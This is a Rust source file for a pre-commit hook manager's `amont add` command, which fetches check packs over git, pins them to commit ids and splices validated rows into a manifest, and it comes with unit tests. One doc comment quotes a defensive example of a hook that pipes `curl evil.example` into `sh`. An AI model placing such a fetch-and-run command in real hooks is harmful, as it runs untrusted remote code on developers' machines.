Skip to main content

greengate_runtime/
pack.rs

1//! Shipping a check — `amont add`.
2//!
3//! A check could always be WRITTEN in `amont.conf`; it could never be SHARED.
4//! The only routes were pasting a line into somebody's manifest by hand, or
5//! upstreaming it into amont itself.
6//!
7//! pre-commit solved this by cloning a repository and executing it, building an
8//! isolated environment per hook. That is its slowest part and it is precisely
9//! what [`crate::trust`] exists to refuse — that module's own test fixture
10//! spells out the threat in one line:
11//!
12//! ```text
13//! pre-commit  a  *  block  curl evil.example | sh
14//! ```
15//!
16//! So what ships here is **text, not execution**. A pack is `amont.conf` syntax
17//! and nothing else; `amont add` vendors those rows into your manifest; and
18//! because the trust fingerprint is content-keyed over the whole file, the
19//! append invalidates consent and a human must read every command before any of
20//! them can run. The existing gate does the security work. This module only
21//! saves the copy-paste.
22//!
23//! # Why git, and why that answers "verify against what?"
24//!
25//! amont links no crates (`scripts/check-no-deps.sh`), so it has no TLS and no
26//! HTTP client, and must not grow one to fetch a config file. The only network
27//! primitive it already uses is `git` — which turns out to be the right answer
28//! rather than a consolation:
29//!
30//! - git is **content-addressed**. [`resolve`] turns a moving `@v2` into a
31//!   commit id before anything is fetched, and [`fetch`] then refuses whatever
32//!   it received unless it hashes to that id.
33//! - the id, never the tag, is what gets written into `amont.conf`.
34//! - SSH, HTTPS, private repositories and self-hosted forges all work already,
35//!   with the user's own credentials and none of amont's.
36//!
37//! # Nothing here is on the commit path
38//!
39//! `amont add` is a setup verb. No hook calls into this module, nothing is
40//! fetched between `git commit` and a verdict, and `a_pack_costs_the_commit_
41//! path_nothing` asserts it.
42
43use std::path::Path;
44
45use crate::manifest::{Line, MANIFEST};
46
47/// The file a pack repository must carry, at its root. A revision written
48/// before greengate 4.0 carries `amont.pack` instead, read when this one is
49/// absent: a vendored pin can name such a revision forever.
50pub const PACK_FILE: &str = crate::names::PACK_FILE;
51
52/// Where a pack came from, and which revision of it.
53#[derive(Debug, Clone, PartialEq, Eq)]
54pub struct Source {
55    /// How the user spelled it, minus the revision — what goes in the marker.
56    pub label: String,
57    /// What git is handed.
58    pub url: String,
59    /// `None` means the remote's default branch.
60    pub rev: Option<String>,
61}
62
63/// Does this name a filesystem path rather than a shorthand?
64///
65/// A local path is how a pack is developed before it is published, and it is
66/// the whole fixture story for the tests.
67///
68/// **Every shape is named explicitly, and `Path::is_absolute` is deliberately
69/// not consulted.** It answers differently depending on where it runs, and this
70/// function must not: `C:\pack` is not absolute on unix, and `/tmp/pack` is not
71/// absolute on Windows, so a rule leaning on it rejects whichever shape is
72/// foreign to the host. That cost two round trips through CI — first Windows
73/// could not add a local pack at all, then, once `is_absolute` was added, it
74/// refused the unix spelling instead. The lesson is that "is this a path" is a
75/// question about the STRING, and the host's opinion of it is noise.
76fn looks_like_path(body: &str) -> bool {
77    let b = body.as_bytes();
78    // `C:\pack` or `C:/pack`
79    let drive = b.len() >= 3
80        && b[0].is_ascii_alphabetic()
81        && b[1] == b':'
82        && (b[2] == b'\\' || b[2] == b'/');
83    body.starts_with('/')            // unix absolute
84        || drive
85        || body.starts_with(r"\\")   // UNC: \\server\share
86        || std::path::Path::new(body).exists() // a relative path that is really there
87}
88
89/// `github:owner/repo@v2`, `forgejo:host/owner/repo`, a git URL, or a local
90/// path.
91///
92/// The revision is split on the last `@` that falls AFTER the last separator.
93/// That rule is not decoration: `git@github.com:acme/repo.git` carries an `@`
94/// in its userinfo, and splitting on the last `@` outright would read
95/// `github.com` as a revision and quietly fetch the wrong thing. Both `/` and
96/// `\` count, or a Windows path containing an `@` would lose its tail the same
97/// way.
98pub fn parse_source(spec: &str) -> Result<Source, String> {
99    if spec.is_empty() {
100        return Err("empty source".into());
101    }
102    let slash = spec.rfind(['/', '\\']).map(|i| i as isize).unwrap_or(-1);
103    let (body, rev) = match spec.rfind('@') {
104        Some(at) if (at as isize) > slash => (&spec[..at], Some(spec[at + 1..].to_string())),
105        _ => (spec, None),
106    };
107    if rev.as_deref().is_some_and(str::is_empty) {
108        return Err(format!("{spec}: a revision was named but is empty"));
109    }
110    let url = if let Some(rest) = body.strip_prefix("github:") {
111        if rest.split('/').count() != 2 || rest.split('/').any(str::is_empty) {
112            return Err(format!("{spec}: github: wants owner/repo"));
113        }
114        format!("https://github.com/{rest}.git")
115    } else if let Some(rest) = body.strip_prefix("forgejo:") {
116        // host/owner/repo — the host is not assumed, because a self-hosted
117        // forge is the case this shorthand exists for.
118        if rest.split('/').count() != 3 || rest.split('/').any(str::is_empty) {
119            return Err(format!("{spec}: forgejo: wants host/owner/repo"));
120        }
121        format!("https://{rest}.git")
122    } else if body.contains("://") || body.contains('@') || looks_like_path(body) {
123        body.to_string()
124    } else {
125        return Err(format!(
126            "{spec}: not a git URL — use github:owner/repo, \
127             forgejo:host/owner/repo, or a full URL"
128        ));
129    };
130    Ok(Source {
131        label: body.to_string(),
132        url,
133        rev,
134    })
135}
136
137/// The commit id `rev` names on the remote, before anything is downloaded.
138pub fn resolve(source: &Source) -> Result<String, String> {
139    let rev = source.rev.as_deref().unwrap_or("HEAD");
140    let out = crate::git::stdout(&["ls-remote", &source.url, rev]).ok_or_else(|| {
141        format!(
142            "{}: cannot reach the remote, or {rev} names nothing",
143            source.label
144        )
145    })?;
146    // `ls-remote` prints "<sha>\t<ref>" per match. A rev naming several
147    // DISTINCT commits (a branch and a tag of the same name, diverged) is
148    // ambiguous, and guessing which one the user meant is exactly the wrong
149    // instinct for a verb that installs commands. But refs, not commits, is
150    // the wrong thing to count: any non-bare clone advertises `HEAD` and
151    // `refs/remotes/origin/HEAD` together, so `amont add /path/to/a/clone`
152    // — the USB-stick shape, and the most natural offline gesture — was
153    // refused over two names for one answer.
154    let refs = named_refs(&out);
155    let mut ids: Vec<&str> = refs.iter().map(|(id, _)| id.as_str()).collect();
156    ids.sort_unstable();
157    ids.dedup();
158    match ids.as_slice() {
159        [] => Err(format!(
160            "{}: {rev} names nothing on that remote",
161            source.label
162        )),
163        [one] => Ok((*one).to_string()),
164        _ => {
165            let listed = refs
166                .iter()
167                .map(|(id, name)| format!("{name} @ {}", &id[..7.min(id.len())]))
168                .collect::<Vec<_>>()
169                .join(", ");
170            Err(format!(
171                "{}: {rev} is ambiguous — it names {} different commits on \
172                 that remote ({listed}); name a commit id instead",
173                source.label,
174                ids.len()
175            ))
176        }
177    }
178}
179
180/// `ls-remote` lines as `(id, ref-name)`, with peeled lines dropped.
181///
182/// A ref ending in `^{}` is an annotated tag's peeled COMMIT — derived from
183/// a line already in the listing, never a ref of its own, so it can never be
184/// the only answer. Neither github.com nor the local-path transport emits one
185/// for a pattern query (measured, protocols v2 and v0), but `git-ls-remote(1)`
186/// documents the form and other server implementations exist. It is also the
187/// wrong id to return: `fetch` compares against `rev-parse FETCH_HEAD`, which
188/// records the tag OBJECT, not the commit it peels to (also measured).
189fn named_refs(out: &str) -> Vec<(String, String)> {
190    out.lines()
191        .filter_map(|l| {
192            let mut it = l.split_whitespace();
193            let id = it.next()?;
194            let name = it.next().unwrap_or("");
195            (!name.ends_with("^{}")).then(|| (id.to_string(), name.to_string()))
196        })
197        .collect()
198}
199
200/// The pack's text at `id`, or an error.
201///
202/// Fetches the REF and then checks what arrived hashes to the id [`resolve`]
203/// already agreed with the remote. Fetching the bare id would be more direct
204/// and is not universally allowed (`uploadpack.allowAnySHA1InWant`); this way
205/// works against every server and still detects a ref that moved underneath us
206/// between the two calls.
207pub fn fetch(source: &Source, id: &str, into: &Path) -> Result<String, String> {
208    let dir = into.to_string_lossy().into_owned();
209    let ok = |args: &[&str]| crate::git::succeeds_in(into, args);
210    std::fs::create_dir_all(into).map_err(|e| format!("cannot create {dir}: {e}"))?;
211    if !ok(&["init", "-q"]) {
212        return Err(format!("cannot init a scratch repository at {dir}"));
213    }
214    let rev = source.rev.as_deref().unwrap_or("HEAD");
215    if !ok(&["fetch", "-q", "--depth", "1", &source.url, rev]) {
216        return Err(format!("{}: fetching {rev} failed", source.label));
217    }
218    let got = crate::git::stdout_in(into, &["rev-parse", "FETCH_HEAD"])
219        .ok_or_else(|| format!("{}: nothing was fetched", source.label))?;
220    if got != id {
221        return Err(format!(
222            "{}: {rev} moved while we were reading it ({id} → {got}) — \
223             nothing was written; run the same command again",
224            source.label
225        ));
226    }
227    [PACK_FILE, crate::names::old::PACK_FILE]
228        .iter()
229        .find_map(|file| crate::git::stdout_in(into, &["show", &format!("FETCH_HEAD:{file}")]))
230        .ok_or_else(|| {
231            format!(
232                "{}: has no {PACK_FILE} (or {}) at {}",
233                source.label,
234                crate::names::old::PACK_FILE,
235                &id[..7.min(id.len())]
236            )
237        })
238}
239
240/// The rows a pack may contribute, verbatim, or a refusal naming the first
241/// thing wrong with it.
242///
243/// Validated with the REAL parser ([`crate::manifest::parse_lines`]) rather
244/// than a second one that could disagree with it — a pack that parses here and
245/// not there would be a manifest nobody intended. The original text of each row
246/// is what gets written, so nothing round-trips through a formatter that might
247/// render it differently from how it was reviewed.
248///
249/// Refused **whole**, never partially: a half-applied pack leaves an
250/// `amont.conf` that neither the author nor the user asked for.
251pub fn rows(text: &str) -> Result<Vec<String>, String> {
252    // The same lines `parse_lines` will keep, in the same order, so the two can
253    // be zipped without either needing to report a line number.
254    let source_rows: Vec<&str> = text
255        .lines()
256        .map(str::trim)
257        .filter(|l| !l.is_empty() && !l.starts_with('#'))
258        .collect();
259    let parsed = crate::manifest::parse_lines(text);
260    if parsed.len() != source_rows.len() {
261        return Err(format!("{PACK_FILE}: cannot be read as {MANIFEST} syntax"));
262    }
263    if source_rows.is_empty() {
264        return Err(format!("{PACK_FILE}: declares no checks"));
265    }
266    let mut out = Vec::with_capacity(source_rows.len());
267    for (line, parsed) in source_rows.iter().zip(&parsed) {
268        match parsed {
269            Line::Usable(_) => out.push((*line).to_string()),
270            Line::Broken { why, .. } => {
271                return Err(format!("{PACK_FILE}: `{line}` — {why}"));
272            }
273            // A pack carries CHECKS. `tool`, `severity`, `skip` and `set` are
274            // policy about the repository installing it, and
275            // docs/custom-checks.md ("What a repository cannot do") keeps those
276            // local on purpose — a `set` line reaching `greengate.fix` would let a
277            // third party turn on rewriting somebody's working tree.
278            Line::Tool(_) | Line::Policy { .. } | Line::Tree(_) => {
279                return Err(format!(
280                    "{PACK_FILE}: `{line}` — a pack may declare checks only, \
281                     not tool pins, policy or tree gates"
282                ));
283            }
284        }
285    }
286    Ok(out)
287}
288
289/// The block a pack owns inside `amont.conf`.
290///
291/// Markers so a re-`add` REPLACES rather than appends — a second copy of the
292/// same declaration is refused by the duplicate-id rule, so appending blindly
293/// would break the manifest on the second run — and so a human can remove a
294/// pack by deleting a block. `#` keeps them invisible to the parser, which
295/// skips comments.
296fn start_marker(label: &str) -> String {
297    format!("# amont:pack:start {label}")
298}
299fn end_marker(label: &str) -> String {
300    format!("# amont:pack:end {label}")
301}
302
303pub fn block(label: &str, id: &str, rows: &[String]) -> String {
304    let mut out = format!("{} {id}\n", start_marker(label));
305    for r in rows {
306        out.push_str(r);
307        out.push('\n');
308    }
309    out.push_str(&end_marker(label));
310    out.push('\n');
311    out
312}
313
314/// `manifest` with this source's block replaced, or appended if it has none.
315///
316/// Markers are searched INDEPENDENTLY, like `agents_md::block_range` does, so a
317/// file carrying one without the other is reported rather than silently
318/// half-rewritten.
319pub fn splice(manifest: &str, label: &str, id: &str, rows: &[String]) -> Result<String, String> {
320    let (start, end) = (start_marker(label), end_marker(label));
321    let at_start = manifest.find(&start);
322    let at_end = manifest.find(&end);
323    let fresh = block(label, id, rows);
324    match (at_start, at_end) {
325        (Some(s), Some(e)) if e > s => {
326            let mut tail = e + end.len();
327            if manifest[tail..].starts_with('\n') {
328                tail += 1;
329            }
330            Ok(format!("{}{fresh}{}", &manifest[..s], &manifest[tail..]))
331        }
332        (None, None) => {
333            let mut out = manifest.to_string();
334            if !out.is_empty() && !out.ends_with('\n') {
335                out.push('\n');
336            }
337            if !out.is_empty() {
338                out.push('\n');
339            }
340            out.push_str(&fresh);
341            Ok(out)
342        }
343        _ => Err(format!(
344            "{MANIFEST}: has an unpaired `amont:pack` marker for {label} — \
345             fix or remove it by hand"
346        )),
347    }
348}
349
350#[cfg(test)]
351mod tests {
352    use super::*;
353
354    /// A peeled `^{}` line is derived from its base line, never an answer of
355    /// its own — and no observed transport emits one for a pattern query, so
356    /// this is the only place the defensive branch can be exercised.
357    #[test]
358    fn a_peeled_tag_line_is_not_a_second_ref() {
359        let out = "fdfa39b\trefs/tags/v1\n2127b95\trefs/tags/v1^{}\n";
360        let refs = named_refs(out);
361        assert_eq!(refs.len(), 1, "{refs:?}");
362        assert_eq!(
363            refs[0].0, "fdfa39b",
364            "the TAG object, which is what FETCH_HEAD records"
365        );
366    }
367
368    #[test]
369    fn shorthands_and_urls_become_git_urls() {
370        let s = parse_source("github:acme/rust-strict").unwrap();
371        assert_eq!(s.url, "https://github.com/acme/rust-strict.git");
372        assert_eq!(s.label, "github:acme/rust-strict");
373        assert_eq!(s.rev, None);
374
375        let s = parse_source("forgejo:git.example.org/acme/packs@v2").unwrap();
376        assert_eq!(s.url, "https://git.example.org/acme/packs.git");
377        assert_eq!(s.rev.as_deref(), Some("v2"));
378    }
379
380    /// The `@` in `git@host` is userinfo, not a revision. Splitting on the last
381    /// `@` outright would read the host as a revision and fetch the wrong
382    /// thing — silently, since `ls-remote` would simply find nothing.
383    #[test]
384    fn an_ssh_url_keeps_its_userinfo() {
385        let s = parse_source("git@github.com:acme/repo.git").unwrap();
386        assert_eq!(s.url, "git@github.com:acme/repo.git");
387        assert_eq!(s.rev, None);
388
389        let s = parse_source("git@github.com:acme/repo.git@v1").unwrap();
390        assert_eq!(s.url, "git@github.com:acme/repo.git");
391        assert_eq!(s.rev.as_deref(), Some("v1"));
392    }
393
394    /// A local path is a valid source on every platform, and BOTH spellings are
395    /// accepted wherever this runs.
396    ///
397    /// Two CI round trips are behind this test. First the rule was
398    /// `starts_with('/')` — true of a unix path, false of every Windows one, so
399    /// the feature was silently unix-only. Then it became `Path::is_absolute`,
400    /// which is platform-dependent in the other direction and refused
401    /// `/tmp/pack` on Windows. Asserting both shapes on every host is what
402    /// makes the third version stay fixed.
403    #[test]
404    fn an_absolute_path_is_a_source_on_any_platform() {
405        for p in ["/tmp/pack", r"C:\Users\me\pack", r"\\server\share\pack"] {
406            let s = parse_source(p).unwrap_or_else(|e| panic!("{p:?} should be a source: {e}"));
407            assert_eq!(s.url, p);
408            assert_eq!(s.rev, None, "{p:?} has no revision");
409        }
410    }
411
412    /// And a Windows path carrying an `@` keeps it: the separator search has to
413    /// know about `\` or the tail is read as a revision.
414    #[test]
415    fn a_windows_path_with_an_at_sign_is_not_split_on_it() {
416        let s = parse_source(r"C:\Users\me\a@b\pack").unwrap();
417        assert_eq!(s.url, r"C:\Users\me\a@b\pack");
418        assert_eq!(s.rev, None);
419        let s = parse_source(r"C:\Users\me\a@b\pack@v1").unwrap();
420        assert_eq!(s.url, r"C:\Users\me\a@b\pack");
421        assert_eq!(s.rev.as_deref(), Some("v1"));
422    }
423
424    #[test]
425    fn a_source_that_is_not_a_url_is_refused() {
426        for bad in ["", "acme/rust-strict", "github:acme", "github:acme/repo/x"] {
427            assert!(parse_source(bad).is_err(), "{bad:?} should be refused");
428        }
429        assert!(parse_source("github:acme/repo@").is_err(), "empty revision");
430    }
431
432    #[test]
433    fn rows_are_taken_verbatim() {
434        let text = "# a comment\n\npre-commit  terraform-fmt  Dockerfile  block  terraform-fmt\n";
435        assert_eq!(
436            rows(text).unwrap(),
437            vec!["pre-commit  terraform-fmt  Dockerfile  block  terraform-fmt"]
438        );
439    }
440
441    /// Policy is about the repository INSTALLING the pack, and a third party
442    /// must not reach it: `severity` could quietly downgrade the secrets scan,
443    /// `skip` could silence it outright, and a `set` could raise the large-file
444    /// ceiling on somebody else's repository.
445    ///
446    /// These are all lines the parser accepts as VALID policy — which is the
447    /// point. Refusing them is this module's own rule, not something the
448    /// manifest parser was already doing.
449    #[test]
450    fn a_pack_may_not_carry_valid_policy_or_pins() {
451        for bad in [
452            "set  largeFileBlock  4000\n",
453            "severity  secrets  warn\n",
454            "skip  secrets\n",
455            "tool  terraform-fmt  2.12\n",
456        ] {
457            let text = format!("pre-commit  ok  *  block  true\n{bad}");
458            let err = rows(&text).unwrap_err();
459            assert!(err.contains("checks only"), "{bad:?} gave: {err}");
460        }
461    }
462
463    /// And a line the parser cannot read at all is refused too — by the other
464    /// arm, with the parser's own reason rather than a guess at one.
465    #[test]
466    fn a_policy_line_the_parser_rejects_is_still_refused() {
467        let text = "pre-commit  ok  *  block  true\nset  greengate.fix  true\n";
468        let err = rows(text).unwrap_err();
469        assert!(err.contains("not a policy-settable key"), "{err}");
470    }
471
472    #[test]
473    fn a_pack_is_refused_whole_on_one_bad_row() {
474        let text = "pre-commit  fine  *  block  true\nnonsense\n";
475        assert!(rows(text).is_err());
476        assert!(rows("# nothing but a comment\n").is_err(), "empty pack");
477    }
478
479    #[test]
480    fn splice_appends_then_replaces_in_place() {
481        let rows0 = vec!["pre-commit  a  *  block  true".to_string()];
482        let base = "pre-commit  mine  *  block  true\n";
483
484        let once = splice(base, "github:acme/p", "abc1234", &rows0).unwrap();
485        assert!(once.starts_with(base), "existing lines are kept: {once:?}");
486        assert!(once.contains("# amont:pack:start github:acme/p abc1234"));
487
488        // A second add of the same source must REPLACE: two copies of one
489        // declaration is a duplicate id, which the parser refuses outright.
490        let rows1 = vec!["pre-commit  b  *  block  true".to_string()];
491        let twice = splice(&once, "github:acme/p", "def5678", &rows1).unwrap();
492        assert_eq!(twice.matches("amont:pack:start github:acme/p").count(), 1);
493        assert!(twice.contains("def5678"));
494        assert!(!twice.contains("abc1234"));
495        assert!(!twice.contains("pre-commit  a  *"), "old rows are gone");
496        assert!(
497            twice.contains("pre-commit  mine"),
498            "unrelated lines survive"
499        );
500    }
501
502    #[test]
503    fn an_unpaired_marker_is_reported_not_guessed() {
504        let rows0 = vec!["pre-commit  a  *  block  true".to_string()];
505        let half = "# amont:pack:start github:acme/p abc1234\n";
506        assert!(splice(half, "github:acme/p", "x", &rows0).is_err());
507        let inverted = "# amont:pack:end github:acme/p\n# amont:pack:start github:acme/p x\n";
508        assert!(splice(inverted, "github:acme/p", "y", &rows0).is_err());
509    }
510
511    /// Two packs coexist without either disturbing the other's block.
512    #[test]
513    fn packs_from_different_sources_do_not_collide() {
514        let a = vec!["pre-commit  a  *  block  true".to_string()];
515        let b = vec!["pre-commit  b  *  block  true".to_string()];
516        let one = splice("", "github:x/a", "1111111", &a).unwrap();
517        let two = splice(&one, "github:x/b", "2222222", &b).unwrap();
518        let three = splice(&two, "github:x/a", "3333333", &a).unwrap();
519        assert!(three.contains("2222222"), "the other pack is untouched");
520        assert!(three.contains("3333333"));
521        assert!(!three.contains("1111111"));
522    }
523}